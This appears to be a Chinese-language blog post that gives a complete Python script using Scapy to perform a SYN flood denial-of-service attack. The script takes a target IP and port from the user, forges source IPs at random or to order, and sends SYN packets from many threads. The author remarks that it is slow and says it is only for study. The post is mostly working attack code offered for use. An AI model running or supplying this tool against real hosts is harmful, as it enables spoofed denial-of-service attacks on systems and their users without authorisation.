Python Scapy实现SYN Flood攻击
SYN Flood的python实现
代码如下。需要事先安装scapy库。(是scapy 不是scrapy)
from scapy.all import *
import random
from scapy.layers.inet import TCP, IP
import socket,threading
dst=""
dport=0
class flood_SYN(threading.Thread):
global dport,dst
def __init__(self):
threading.Thread.__init__(self)
def run(self):
sport = random.randint(1, 65535)
ip = IP(src=src, dst=dst)
tcp = TCP(sport=sport, dport=dport)
SYN = ip / tcp
print(SYN.summary())
send(SYN,verbose=0)
#def SYNFlood(src, dst, dport):
# sport = random.randint(10000, 65535)
# ip = IP(src=src, dst=dst)
# tcp = TCP(sport=sport, dport=dport)
# SYN = ip / tcp
# print(SYN.summary())
# send(SYN)
def randomIP():
ip = ''
for i in range(3):
ip += str(random.randint(0, 256))
ip += '.'
ip += str(random.randint(0, 256))
return ip
def localIP():
s=''
try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(('8.8.8.8', 80))
ip = s.getsockname()[0]
finally:
s.close()
return ip
if __name__ == "__main__":
src = ''
dst = input("请输入要攻击的目标IP:")
dport = int(input("请输入要攻击的目标端口:"))
print("源地址如何选择?\n")
print("1 随机生成\t2 由我输入\t3 使用本机(若本机IP地址较多,则不建议使用)")
src_choice = input()
if src_choice == '1':
print("警告:随机生成的IP地址的主机可能很反感未经授权的[SYN,ACK]半连接!")
elif src_choice == '2':
src = input("请输入要伪装的源地址IP:")
elif src_choice == '3':
src = localIP()
else:
print("无效输入!")
exit(1)
times = int(input("请输入攻击次数:"))
for i in range(times):
if src_choice == '1':
src = randomIP()
flood_SYN().start()
用了简单的多线程。但是速度还是慢,远不及hping3。
获取本地IP借鉴了网上的一个办法,感觉比先获取本机名字在获取IP的办法要优雅。是先准备一个包,然后从包上获取IP地址。在本机IP比较多的情况下可能不一定会获取到哪个,通常是“比较常用”的那个地址。
因为效率也很低所以及不担心用来做什么非法活动了。真要用DDoS也看不上我的脚本哈。
当然还是仅供学习参考!